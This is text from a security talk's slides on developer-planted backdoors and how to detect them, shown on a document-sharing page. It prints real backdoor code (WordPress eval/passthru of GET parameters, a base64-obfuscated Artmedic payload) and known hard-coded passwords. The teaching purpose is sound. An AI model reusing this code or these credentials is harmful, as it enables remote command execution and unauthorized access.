Backdoors and other Developer Introduced 'Features'.ppt
《Backdoors and other Developer Introduced 'Features'.ppt》由会员分享,可在线阅读,更多相关《Backdoors and other Developer Introduced 'Features'.ppt(57页珍藏版)》请在麦多课文档分享上搜索。
1、Backdoors and other Developer Introduced Features,Chris Wysopal Founder & CTO, Veracode 781-425-6040 x223,Introduction,Chris Wysopal CTO and Co-Founder, Veracode Inc. Previously Symantec, stake, L0pht, BBN Co-author of L0phtCrack, author of Netcat for Windows Lead author of “The Art of Software Sec
2、urity Testing”,Contents,Background Backdoor Mechanisms (characteristics, examples, detection) Special Credentials Hidden Functionality Unintended Network Activity Manipulation of Security-Critical Parameters Additional Detection Techniques Malicious Code and Other Vulnerabilities Conclusion / Questi
3、ons,Background,Wargames (1983),Backdoors Are Not Secrets!,Types of Backdoors,Crypto backdoors Designed weakness for a particular key or message System backdoors Malware written to compromise a system (i.e. the application itself is the backdoor) Sometimes relies on social engineering for initial exe
4、cution Application backdoors the focus of this talk Modifications to legitimate programs designed to bypass security mechanisms (i.e. applications that would already be running) Often inserted by those who have legitimate access to source code or distribution binaries Can result in system compromise
5、 as well Not specific to any particular programming language,How Prevalent is the problem,Select 100 COTS/open source applications packages randomly Packages with dead code 79 packages Packages with unwanted code (backdoors, etc.) 23 packages Packages with suspicious behaviors 89 packages Packages w
6、ith possible malicious code 76 packages Known worms, Trojans, rootkits, etc. 21 packages Possible worms, Trojans, rootkits, etc. 69 packagesSource: Reifer Consultants presentation at Oct 2007 DHS SwA Forum,Targets of Application Backdoors,Web applications Server applications Network appliances Opera
7、ting systems,Attacker Motivation,Practical method of compromise for many systems Let the users install your backdoor on systems you have no access to Looks like legitimate software so can bypass AV Retrieve and manipulate valuable private data Looks like legitimate application traffic so little risk
8、 of detection by IDS Because you can,Current State of Detection,Application backdoors best detected by inspecting the source or binary code of the program Application backdoor scanning is imperfect Impossible to programmatically determine the intent of application logic Backdoors in source may be de
9、tected quickly but backdoors in binaries often take years to surface Linux backdoor attempt vs. Borland Interbase Most security code reviews focus on finding vulnerabilities with little emphasis on backdoors This talk focuses solely on static detection methods,Special Credentials,Characteristics,Spe
10、cial credentials, usually hard-coded, which circumvent security checks Usernames Passwords Secret hash or key,The Keymaker from “The Matrix Reloaded” He is able to make keys that get him into secret areas of the Matrix.,Borland Interbase 4.0, 5.0, 6.0 (2001),Hard-coded username “politically” with th
11、e password “correct” allowed remote access Credentials inserted into the database at startup Support for user-defined functions equates to administrative access on the server Undetected for over seven years Opening the source revealed the backdoor,Borland Interbase (contd),dpb = dpb_string; *dpb+ =
12、gds_dpb_version1; *dpb+ = gds_dpb_user_name; *dpb+ = strlen (LOCKSMITH_USER); q = LOCKSMITH_USER; while (*q)*dpb+ = *q+;*dpb+ = gds_dpb_password_enc; strcpy (password_enc, (char *)ENC_crypt (LOCKSMITH_PASSWORD,PASSWORD_SALT); q = password_enc + 2; *dpb+ = strlen (q); while (*q)*dpb+ = *q+;dpb_length
13、 = dpb - dpb_string;isc_attach_database (status_vector, 0, GDS_VAL(name), ,Intel NetStructure 7110 SSL Accelerator (2000),Administrator password overridden by an undocumented shell password known as “wizard” mode Shell password derived from MAC address of primary Ethernet interface Results in root p
14、rivileges on the appliance,Cart32 Shopping Cart 2.6, 3.0 (2001),Undocumented functionality accessible using hard-coded password “wemilo” One URL provided a list of all shops on the server along with their passwords, which could be used to execute arbitrary commands on the server A second URL provide
15、d a way to change the administrative password without knowledge of the current password Backdoor or lazy developer? Undetected for over five years,APC SmartSlot Management Card (2004),Management card installed by default in many of APCs SmartSwitch and UPS products Bypass authentication to console o
16、r Telnet interfaces by providing any username with the password “TENmanUFactOryPOWER” Allowed memory dump of EEPROM which contained unencrypted usernames and passwords on the device,Detection,Identify static variables that look like usernames or passwords Start with all static strings using the ASCI
17、I character set Focus on string comparisons as opposed to assignments or placeholders Also inspect known crypto API calls where these strings are passed in as plaintext dataIdentify static variables that look like hashes Start with all static strings using the character set 0-9A-Fa-f Narrow down to
18、strings that correspond to lengths of known hash algorithms such as MD5 (128 bits) or SHA1 (160 bits) Focus on string comparisons as opposed to assignments or placeholders Examine cross-references to these strings,Detection (contd),Identify static variables that look like cryptographic keys Start wi
19、th all static character arrays declared or dynamically allocated to a valid key length Also identify static character arrays that are a multiple of a valid key length, which could be a key table Narrow down to known crypto API calls where these arrays are passed in as the key parameter, for example:
20、 OpenSSL: DES_set_key(const_DES_cblock *key, DES_key_schedule *schedule) BSAFE: B_SetKeyInfo(B_KEY_OBJ keyObject, B_INFO_TYPE infoType, POINTER info ) Perform a statistical test for randomness on static variables Data exhibiting high entropy is likely encrypted data and should be inspected further,H
21、idden Functionality,Characteristics,Invisible parameters in web applications not to be confused with hidden form fields Undocumented commands Leftover debug code e.g. WIZ command in early sendmail May be combined with “special” IP addresses,Number Six, a Cylon Agent, from Battlestar Galactica In exc
22、hange for access to government mainframes she helps design the navigation program subsequently used by Colonial warships, covertly creating backdoors in the program.,WordPress 2.1.1 (2007),One of two WordPress download servers compromised Two PHP files modified to allow remote command injection Dete
23、cted within one week,function comment_text_phpfilter($filterdata) eval($filterdata); . if ($_GET“ix“) comment_text_phpfilter($_GET“ix“); function get_theme_mcommand($mcds) passthru($mcds); . if ($_GET“iz“) get_theme_mcommand($_GET“iz“); ,Artmedic CMS 3.4 (2007),Multiple source files altered to allow
24、 remote command injection or arbitrary PHP includes Attempt at obfuscation Detected within two weeks,$print = aWYoJF9HRVRbJ2luY2x1ZGUnXSkgaW5jbHVkZSgkX0dFVFsnaW5jbHVkZSddKTsNCmlmKCRfR0VUWydjbWQnXSkgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTsNCmlmKCRfR0VUWydwaHAnXSkgZXZhbCgkX0dFVFsncGhwJ10pOw=; eval(base64_decod
- 1.请仔细阅读文档,确保文档完整性,对于不预览、不比对内容而直接下载带来的问题本站不予受理。
- 2.下载的文档,不会出现我们的网址水印。
- 3、该文档所得收入(下载+内容+预览)归上传者、原创作者;如果您是本文档原作者,请点此认领!既往收益都归您。
下载文档到电脑,查找使用更方便
2000 积分 0人已下载
下载 | 加入VIP,交流精品资源 |
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- BACKDOORSANDOTHERDEVELOPERINTRODUCED FEATURES PPT

链接地址:http://www.mydoc123.com/p-378803.html